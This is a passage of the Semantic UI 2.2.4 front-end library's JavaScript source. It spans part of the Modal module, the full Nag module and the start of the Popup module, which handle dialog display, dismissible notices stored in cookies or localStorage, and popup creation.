              if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {
                module.debug('Showing modal with css animations');
                $module
                  .transition({
                    debug       : settings.debug,
                    animation   : settings.transition + ' in',
                    queue       : settings.queue,
                    duration    : settings.duration,
                    useFailSafe : true,
                    onComplete : function() {
                      settings.onVisible.apply(element);
                      if(settings.keyboardShortcuts) {
                        module.add.keyboardShortcuts();
                      }
                      module.save.focus();
                      module.set.active();
                      if(settings.autofocus) {
                        module.set.autofocus();
                      }
                      callback();
                    }
                  })
                ;
              }
              else {
                module.error(error.noTransition);
              }
            }
          }
          else {
            module.debug('Modal is already visible');
          }
        },

        hideModal: function(callback, keepDimmed) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          module.debug('Hiding modal');
          if(settings.onHide.call(element, $(this)) === false) {
            module.verbose('Hide callback returned false cancelling hide');
            return;
          }

          if( module.is.animating() || module.is.active() ) {
            if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {
              module.remove.active();
              $module
                .transition({
                  debug       : settings.debug,
                  animation   : settings.transition + ' out',
                  queue       : settings.queue,
                  duration    : settings.duration,
                  useFailSafe : true,
                  onStart     : function() {
                    if(!module.others.active() && !keepDimmed) {
                      module.hideDimmer();
                    }
                    if(settings.keyboardShortcuts) {
                      module.remove.keyboardShortcuts();
                    }
                  },
                  onComplete : function() {
                    settings.onHidden.call(element);
                    module.restore.focus();
                    callback();
                  }
                })
              ;
            }
            else {
              module.error(error.noTransition);
            }
          }
        },

        showDimmer: function() {
          if($dimmable.dimmer('is animating') || !$dimmable.dimmer('is active') ) {
            module.debug('Showing dimmer');
            $dimmable.dimmer('show');
          }
          else {
            module.debug('Dimmer already visible');
          }
        },

        hideDimmer: function() {
          if( $dimmable.dimmer('is animating') || ($dimmable.dimmer('is active')) ) {
            $dimmable.dimmer('hide', function() {
              module.remove.clickaway();
              module.remove.screenHeight();
            });
          }
          else {
            module.debug('Dimmer is not visible cannot hide');
            return;
          }
        },

        hideAll: function(callback) {
          var
            $visibleModals = $allModals.filter('.' + className.active + ', .' + className.animating)
          ;
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if( $visibleModals.length > 0 ) {
            module.debug('Hiding all visible modals');
            module.hideDimmer();
            $visibleModals
              .modal('hide modal', callback)
            ;
          }
        },

        hideOthers: function(callback) {
          var
            $visibleModals = $otherModals.filter('.' + className.active + ', .' + className.animating)
          ;
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if( $visibleModals.length > 0 ) {
            module.debug('Hiding other modals', $otherModals);
            $visibleModals
              .modal('hide modal', callback, true)
            ;
          }
        },

        others: {
          active: function() {
            return ($otherModals.filter('.' + className.active).length > 0);
          },
          animating: function() {
            return ($otherModals.filter('.' + className.animating).length > 0);
          }
        },


        add: {
          keyboardShortcuts: function() {
            module.verbose('Adding keyboard shortcuts');
            $document
              .on('keyup' + eventNamespace, module.event.keyboard)
            ;
          }
        },

        save: {
          focus: function() {
            $focusedElement = $(document.activeElement).blur();
          }
        },

        restore: {
          focus: function() {
            if($focusedElement && $focusedElement.length > 0) {
              $focusedElement.focus();
            }
          }
        },

        remove: {
          active: function() {
            $module.removeClass(className.active);
          },
          clickaway: function() {
            if(settings.closable) {
              $dimmer
                .off('click' + elementEventNamespace)
              ;
            }
          },
          bodyStyle: function() {
            if($body.attr('style') === '') {
              module.verbose('Removing style attribute');
              $body.removeAttr('style');
            }
          },
          screenHeight: function() {
            module.debug('Removing page height');
            $body
              .css('height', '')
            ;
          },
          keyboardShortcuts: function() {
            module.verbose('Removing keyboard shortcuts');
            $document
              .off('keyup' + eventNamespace)
            ;
          },
          scrolling: function() {
            $dimmable.removeClass(className.scrolling);
            $module.removeClass(className.scrolling);
          }
        },

        cacheSizes: function() {
          var
            modalHeight = $module.outerHeight()
          ;
          if(module.cache === undefined || modalHeight !== 0) {
            module.cache = {
              pageHeight    : $(document).outerHeight(),
              height        : modalHeight + settings.offset,
              contextHeight : (settings.context == 'body')
                ? $(window).height()
                : $dimmable.height()
            };
          }
          module.debug('Caching modal and container sizes', module.cache);
        },

        can: {
          fit: function() {
            return ( ( module.cache.height + (settings.padding * 2) ) < module.cache.contextHeight);
          }
        },

        is: {
          active: function() {
            return $module.hasClass(className.active);
          },
          animating: function() {
            return $module.transition('is supported')
              ? $module.transition('is animating')
              : $module.is(':visible')
            ;
          },
          scrolling: function() {
            return $dimmable.hasClass(className.scrolling);
          },
          modernBrowser: function() {
            // appName for IE11 reports 'Netscape' can no longer use
            return !(window.ActiveXObject || "ActiveXObject" in window);
          }
        },

        set: {
          autofocus: function() {
            var
              $inputs    = $module.find('[tabindex], :input').filter(':visible'),
              $autofocus = $inputs.filter('[autofocus]'),
              $input     = ($autofocus.length > 0)
                ? $autofocus.first()
                : $inputs.first()
            ;
            if($input.length > 0) {
              $input.focus();
            }
          },
          clickaway: function() {
            if(settings.closable) {
              $dimmer
                .on('click' + elementEventNamespace, module.event.click)
              ;
            }
          },
          screenHeight: function() {
            if( module.can.fit() ) {
              $body.css('height', '');
            }
            else {
              module.debug('Modal is taller than page content, resizing page height');
              $body
                .css('height', module.cache.height + (settings.padding * 2) )
              ;
            }
          },
          active: function() {
            $module.addClass(className.active);
          },
          scrolling: function() {
            $dimmable.addClass(className.scrolling);
            $module.addClass(className.scrolling);
          },
          type: function() {
            if(module.can.fit()) {
              module.verbose('Modal fits on screen');
              if(!module.others.active() && !module.others.animating()) {
                module.remove.scrolling();
              }
            }
            else {
              module.verbose('Modal cannot fit on screen setting to scrolling');
              module.set.scrolling();
            }
          },
          position: function() {
            module.verbose('Centering modal on page', module.cache);
            if(module.can.fit()) {
              $module
                .css({
                  top: '',
                  marginTop: -(module.cache.height / 2)
                })
              ;
            }
            else {
              $module
                .css({
                  marginTop : '',
                  top       : $document.scrollTop()
                })
              ;
            }
          },
          undetached: function() {
            $dimmable.addClass(className.undetached);
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.modal.settings = {

  name           : 'Modal',
  namespace      : 'modal',

  silent         : false,
  debug          : false,
  verbose        : false,
  performance    : true,

  observeChanges : false,

  allowMultiple  : false,
  detachable     : true,
  closable       : true,
  autofocus      : true,

  inverted       : false,
  blurring       : false,

  dimmerSettings : {
    closable : false,
    useCSS   : true
  },

  // whether to use keyboard shortcuts
  keyboardShortcuts: true,

  context    : 'body',

  queue      : false,
  duration   : 500,
  offset     : 0,
  transition : 'scale',

  // padding with edge of page
  padding    : 50,

  // called before show animation
  onShow     : function(){},

  // called after show animation
  onVisible  : function(){},

  // called before hide animation
  onHide     : function(){ return true; },

  // called after hide animation
  onHidden   : function(){},

  // called after approve selector match
  onApprove  : function(){ return true; },

  // called after deny selector match
  onDeny     : function(){ return true; },

  selector    : {
    close    : '> .close',
    approve  : '.actions .positive, .actions .approve, .actions .ok',
    deny     : '.actions .negative, .actions .deny, .actions .cancel',
    modal    : '.ui.modal'
  },
  error : {
    dimmer    : 'UI Dimmer, a required component is not included in this page',
    method    : 'The method you called is not defined.',
    notFound  : 'The element you specified could not be found'
  },
  className : {
    active     : 'active',
    animating  : 'animating',
    blurring   : 'blurring',
    scrolling  : 'scrolling',
    undetached : 'undetached'
  }
};


})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Nag
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.nag = function(parameters) {
  var
    $allModules    = $(this),
    moduleSelector = $allModules.selector || '',

    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),
    returnedValue
  ;
  $allModules
    .each(function() {
      var
        settings          = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.nag.settings, parameters)
          : $.extend({}, $.fn.nag.settings),

        className       = settings.className,
        selector        = settings.selector,
        error           = settings.error,
        namespace       = settings.namespace,

        eventNamespace  = '.' + namespace,
        moduleNamespace = namespace + '-module',

        $module         = $(this),

        $close          = $module.find(selector.close),
        $context        = (settings.context)
          ? $(settings.context)
          : $('body'),

        element         = this,
        instance        = $module.data(moduleNamespace),

        moduleOffset,
        moduleHeight,

        contextWidth,
        contextHeight,
        contextOffset,

        yOffset,
        yPosition,

        timer,
        module,

        requestAnimationFrame = window.requestAnimationFrame
          || window.mozRequestAnimationFrame
          || window.webkitRequestAnimationFrame
          || window.msRequestAnimationFrame
          || function(callback) { setTimeout(callback, 0); }
      ;
      module = {

        initialize: function() {
          module.verbose('Initializing element');

          $module
            .on('click' + eventNamespace, selector.close, module.dismiss)
            .data(moduleNamespace, module)
          ;

          if(settings.detachable && $module.parent()[0] !== $context[0]) {
            $module
              .detach()
              .prependTo($context)
            ;
          }

          if(settings.displayTime > 0) {
            setTimeout(module.hide, settings.displayTime);
          }
          module.show();
        },

        destroy: function() {
          module.verbose('Destroying instance');
          $module
            .removeData(moduleNamespace)
            .off(eventNamespace)
          ;
        },

        show: function() {
          if( module.should.show() && !$module.is(':visible') ) {
            module.debug('Showing nag', settings.animation.show);
            if(settings.animation.show == 'fade') {
              $module
                .fadeIn(settings.duration, settings.easing)
              ;
            }
            else {
              $module
                .slideDown(settings.duration, settings.easing)
              ;
            }
          }
        },

        hide: function() {
          module.debug('Showing nag', settings.animation.hide);
          if(settings.animation.show == 'fade') {
            $module
              .fadeIn(settings.duration, settings.easing)
            ;
          }
          else {
            $module
              .slideUp(settings.duration, settings.easing)
            ;
          }
        },

        onHide: function() {
          module.debug('Removing nag', settings.animation.hide);
          $module.remove();
          if (settings.onHide) {
            settings.onHide();
          }
        },

        dismiss: function(event) {
          if(settings.storageMethod) {
            module.storage.set(settings.key, settings.value);
          }
          module.hide();
          event.stopImmediatePropagation();
          event.preventDefault();
        },

        should: {
          show: function() {
            if(settings.persist) {
              module.debug('Persistent nag is set, can show nag');
              return true;
            }
            if( module.storage.get(settings.key) != settings.value.toString() ) {
              module.debug('Stored value is not set, can show nag', module.storage.get(settings.key));
              return true;
            }
            module.debug('Stored value is set, cannot show nag', module.storage.get(settings.key));
            return false;
          }
        },

        get: {
          storageOptions: function() {
            var
              options = {}
            ;
            if(settings.expires) {
              options.expires = settings.expires;
            }
            if(settings.domain) {
              options.domain = settings.domain;
            }
            if(settings.path) {
              options.path = settings.path;
            }
            return options;
          }
        },

        clear: function() {
          module.storage.remove(settings.key);
        },

        storage: {
          set: function(key, value) {
            var
              options = module.get.storageOptions()
            ;
            if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) {
              window.localStorage.setItem(key, value);
              module.debug('Value stored using local storage', key, value);
            }
            else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) {
              window.sessionStorage.setItem(key, value);
              module.debug('Value stored using session storage', key, value);
            }
            else if($.cookie !== undefined) {
              $.cookie(key, value, options);
              module.debug('Value stored using cookie', key, value, options);
            }
            else {
              module.error(error.noCookieStorage);
              return;
            }
          },
          get: function(key, value) {
            var
              storedValue
            ;
            if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) {
              storedValue = window.localStorage.getItem(key);
            }
            else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) {
              storedValue = window.sessionStorage.getItem(key);
            }
            // get by cookie
            else if($.cookie !== undefined) {
              storedValue = $.cookie(key);
            }
            else {
              module.error(error.noCookieStorage);
            }
            if(storedValue == 'undefined' || storedValue == 'null' || storedValue === undefined || storedValue === null) {
              storedValue = undefined;
            }
            return storedValue;
          },
          remove: function(key) {
            var
              options = module.get.storageOptions()
            ;
            if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) {
              window.localStorage.removeItem(key);
            }
            else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) {
              window.sessionStorage.removeItem(key);
            }
            // store by cookie
            else if($.cookie !== undefined) {
              $.removeCookie(key, options);
            }
            else {
              module.error(error.noStorage);
            }
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.nag.settings = {

  name        : 'Nag',

  silent      : false,
  debug       : false,
  verbose     : false,
  performance : true,

  namespace   : 'Nag',

  // allows cookie to be overridden
  persist     : false,

  // set to zero to require manually dismissal, otherwise hides on its own
  displayTime : 0,

  animation   : {
    show : 'slide',
    hide : 'slide'
  },

  context       : false,
  detachable    : false,

  expires       : 30,
  domain        : false,
  path          : '/',

  // type of storage to use
  storageMethod : 'cookie',

  // value to store in dismissed localstorage/cookie
  key           : 'nag',
  value         : 'dismiss',

  error: {
    noCookieStorage : '$.cookie is not included. A storage solution is required.',
    noStorage       : 'Neither $.cookie or store is defined. A storage solution is required for storing state',
    method          : 'The method you called is not defined.'
  },

  className     : {
    bottom : 'bottom',
    fixed  : 'fixed'
  },

  selector      : {
    close : '.close.icon'
  },

  speed         : 500,
  easing        : 'easeOutQuad',

  onHide: function() {}

};

// Adds easing
$.extend( $.easing, {
  easeOutQuad: function (x, t, b, c, d) {
    return -c *(t/=d)*(t-2) + b;
  }
});

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Popup
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.popup = function(parameters) {
  var
    $allModules    = $(this),
    $document      = $(document),
    $window        = $(window),
    $body          = $('body'),

    moduleSelector = $allModules.selector || '',

    hasTouch       = (true),
    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),

    returnedValue
  ;
  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.popup.settings, parameters)
          : $.extend({}, $.fn.popup.settings),

        selector           = settings.selector,
        className          = settings.className,
        error              = settings.error,
        metadata           = settings.metadata,
        namespace          = settings.namespace,

        eventNamespace     = '.' + settings.namespace,
        moduleNamespace    = 'module-' + namespace,

        $module            = $(this),
        $context           = $(settings.context),
        $scrollContext     = $(settings.scrollContext),
        $boundary          = $(settings.boundary),
        $target            = (settings.target)
          ? $(settings.target)
          : $module,

        $popup,
        $offsetParent,

        searchDepth        = 0,
        triedPositions     = false,
        openedWithTouch    = false,

        element            = this,
        instance           = $module.data(moduleNamespace),

        documentObserver,
        elementNamespace,
        id,
        module
      ;

      module = {

        // binds events
        initialize: function() {
          module.debug('Initializing', $module);
          module.createID();
          module.bind.events();
          if(!module.exists() && settings.preserve) {
            module.create();
          }
          if(settings.observeChanges) {
            module.observeChanges();
          }
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance', module);
          instance = module;
          $module
            .data(moduleNamespace, instance)
          ;
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            documentObserver = new MutationObserver(module.event.documentChanged);
            documentObserver.observe(document, {
              childList : true,
              subtree   : true
            });
            module.debug('Setting up mutation observer', documentObserver);
          }
        },

        refresh: function() {
          if(settings.popup) {
            $popup = $(settings.popup).eq(0);
          }
          else {
            if(settings.inline) {
              $popup = $target.nextAll(selector.popup).eq(0);
              settings.popup = $popup;
            }
          }
          if(settings.popup) {
            $popup.addClass(className.loading);
            $offsetParent = module.get.offsetParent();
            $popup.removeClass(className.loading);
            if(settings.movePopup && module.has.popup() && module.get.offsetParent($popup)[0] !== $offsetParent[0]) {
              module.debug('Moving popup to the same offset parent as activating element');
              $popup
                .detach()
                .appendTo($offsetParent)
              ;
            }
          }
          else {
            $offsetParent = (settings.inline)
              ? module.get.offsetParent($target)
              : module.has.popup()
                ? module.get.offsetParent($popup)
                : $body
            ;
          }
          if( $offsetParent.is('html') && $offsetParent[0] !== $body[0] ) {
            module.debug('Setting page as offset parent');
            $offsetParent = $body;
          }
          if( module.get.variation() ) {
            module.set.variation();
          }
        },

        reposition: function() {
          module.refresh();
          module.set.position();
        },

        destroy: function() {
          module.debug('Destroying previous module');
          if(documentObserver) {
            documentObserver.disconnect();
          }
          // remove element only if was created dynamically
          if($popup && !settings.preserve) {
            module.removePopup();
          }
          // clear all timeouts
          clearTimeout(module.hideTimer);
          clearTimeout(module.showTimer);
          // remove events
          module.unbind.close();
          module.unbind.events();
          $module
            .removeData(moduleNamespace)
          ;
        },

        event: {
          start:  function(event) {
            var
              delay = ($.isPlainObject(settings.delay))
                ? settings.delay.show
                : settings.delay
            ;
            clearTimeout(module.hideTimer);
            if(!openedWithTouch) {
              module.showTimer = setTimeout(module.show, delay);
            }
          },
          end:  function() {
            var
              delay = ($.isPlainObject(settings.delay))
                ? settings.delay.hide
                : settings.delay
            ;
            clearTimeout(module.showTimer);
            module.hideTimer = setTimeout(module.hide, delay);
          },
          touchstart: function(event) {
            openedWithTouch = true;
            module.show();
          },
          resize: function() {
            if( module.is.visible() ) {
              module.set.position();
            }
          },
          documentChanged: function(mutations) {
            [].forEach.call(mutations, function(mutation) {
              if(mutation.removedNodes) {
                [].forEach.call(mutation.removedNodes, function(node) {
                  if(node == element || $(node).find(element).length > 0) {
                    module.debug('Element removed from DOM, tearing down events');
                    module.destroy();
                  }
                });
              }
            });
          },
          hideGracefully: function(event) {
            var
              $target = $(event.target),
              isInDOM = $.contains(document.documentElement, event.target),
              inPopup = ($target.closest(selector.popup).length > 0)
            ;
            // don't close on clicks inside popup
            if(event && !inPopup && isInDOM) {
              module.debug('Click occurred outside popup hiding popup');
              module.hide();
            }
            else {
              module.debug('Click was inside popup, keeping popup open');
            }
          }
        },

        // generates popup html from metadata
        create: function() {
          var
            html      = module.get.html(),
            title     = module.get.title(),
            content   = module.get.content()
          ;

          if(html || content || title) {
            module.debug('Creating pop-up html');
            if(!html) {
              html = settings.templates.popup({
                title   : title,
                content : content
              });
            }
            $popup = $('<div/>')
              .addClass(className.popup)
              .data(metadata.activator, $module)
              .html(html)
            ;
            if(settings.inline) {
              module.verbose('Inserting popup element inline', $popup);
              $popup
                .insertAfter($module)
              ;
            }
            else {
              module.verbose('Appending popup element to body', $popup);
              $popup
                .appendTo( $context )
              ;
            }
            module.refresh();
            module.set.variation();

            if(settings.hoverable) {
              module.bind.popup();
            }
            settings.onCreate.call($popup, element);
          }
          else if($target.next(selector.popup).length !== 0) {
            module.verbose('Pre-existing popup found');
            settings.inline = true;
            settings.popup  = $target.next(selector.popup).data(metadata.activator, $module);
            module.refresh();
            if(settings.hoverable) {
              module.bind.popup();
            }
          }
          else if(settings.popup) {
            $(settings.popup).data(metadata.activator, $module);
            module.verbose('Used popup specified in settings');
            module.refresh();
            if(settings.hoverable) {
              module.bind.popup();
            }
          }
          else {
            module.debug('No content specified skipping display', element);
          }
        },

        createID: function() {
          id = (Math.random().toString(16) + '000000000').substr(2, 8);
          elementNamespace = '.' + id;
          module.verbose('Creating unique id for element', id);
        },

        // determines popup state
        toggle: function() {
          module.debug('Toggling pop-up');
          if( module.is.hidden() ) {
            module.debug('Popup is hidden, showing pop-up');
            module.unbind.close();
            module.show();
          }
          else {
            module.debug('Popup is visible, hiding pop-up');
            module.hide();
          }
        },

        show: function(callback) {
          callback = callback || function(){};
          module.debug('Showing pop-up', settings.transition);
          if(module.is.hidden() && !( module.is.active() && module.is.dropdown()) ) {
            if( !module.exists() ) {
              module.create();
            }
            if(settings.onShow.call($popup, element) === false) {
              module.debug('onShow callback returned false, cancelling popup animation');
              return;
            }
            else if(!settings.preserve && !settings.popup) {
              module.refresh();
            }
            if( $popup && module.set.position() ) {
              module.save.conditions();
              if(settings.exclusive) {
                module.hideAll();
              }
              module.animate.show(callback);
            }
          }
        },


        hide: function(callback) {
          callback = callback || function(){};
          if( module.is.visible() || module.is.animating() ) {
            if(settings.onHide.call($popup, element) === false) {
              module.debug('onHide callback returned false, cancelling popup animation');
              return;
            }
            module.remove.visible();
            module.unbind.close();
            module.restore.conditions();
            module.animate.hide(callback);
          }
        },

        hideAll: function() {
          $(selector.popup)
            .filter('.' + className.visible)
            .each(function() {
              $(this)
                .data(metadata.activator)
                  .popup('hide')
              ;
            })
          ;
        },
        exists: function() {
          if(!$popup) {
            return false;
          }
          if(settings.inline || settings.popup) {
            return ( module.has.popup() );
          }
          else {
            return ( $popup.closest($context).length >= 1 )
              ? true
              : false
            ;
          }
        },

        removePopup: function() {
          if( module.has.popup() && !settings.popup) {
            module.debug('Removing popup', $popup);
            $popup.remove();
            $popup = undefined;
            settings.onRemove.call($popup, element);
          }
        },

        save: {
          conditions: function() {
            module.cache = {
              title: $module.attr('title')
            };
            if (module.cache.title) {
              $module.removeAttr('title');
            }
            module.verbose('Saving original attributes', module.cache.title);
          }
        },
        restore: {
          conditions: function() {
            if(module.cache && module.cache.title) {
              $module.attr('title', module.cache.title);
              module.verbose('Restoring original attributes', module.cache.title);
            }
            return true;
          }
        },
        supports: {
          svg: function() {
            return (typeof SVGGraphicsElement === undefined);
          }
        },
        animate: {
          show: function(callback) {
            callback = $.isFunction(callback) ? callback : function(){};
            if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {
              module.set.visible();
              $popup
                .transition({
                  animation  : settings.transition + ' in',
                  queue      : false,
                  debug      : settings.debug,
                  verbose    : settings.verbose,
                  duration   : settings.duration,
                  onComplete : function() {
                    module.bind.close();
                    callback.call($popup, element);
                    settings.onVisible.call($popup, element);
                  }
                })
              ;
            }
            else {
              module.error(error.noTransition);
            }
          },
          hide: function(callback) {
            callback = $.isFunction(callback) ? callback : function(){};
            module.debug('Hiding pop-up');
            if(settings.onHide.call($popup, element) === false) {
              module.debug('onHide callback returned false, cancelling popup animation');
              return;
            }
            if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {
              $popup
                .transition({
                  animation  : settings.transition + ' out',
                  queue      : false,
                  duration   : settings.duration,
                  debug      : settings.debug,
                  verbose    : settings.verbose,
                  onComplete : function() {
                    module.reset();
                    callback.call($popup, element);
                    settings.onHidden.call($popup, element);
                  }
                })
              ;
            }
            else {
              module.error(error.noTransition);
            }
          }
        },

        change: {
          content: function(html) {
            $popup.html(html);
          }
        },

        get: {
          html: function() {
            $module.removeData(metadata.html);
            return $module.data(metadata.html) || settings.html;
          },
          title: function() {
            $module.removeData(metadata.title);
            return $module.data(metadata.title) || settings.title;
          },
          content: function() {
            $module.removeData(metadata.content);
            return $module.data(metadata.content) || $module.attr('title') || settings.content;
          },
          variation: function() {
            $module.removeData(metadata.variation);
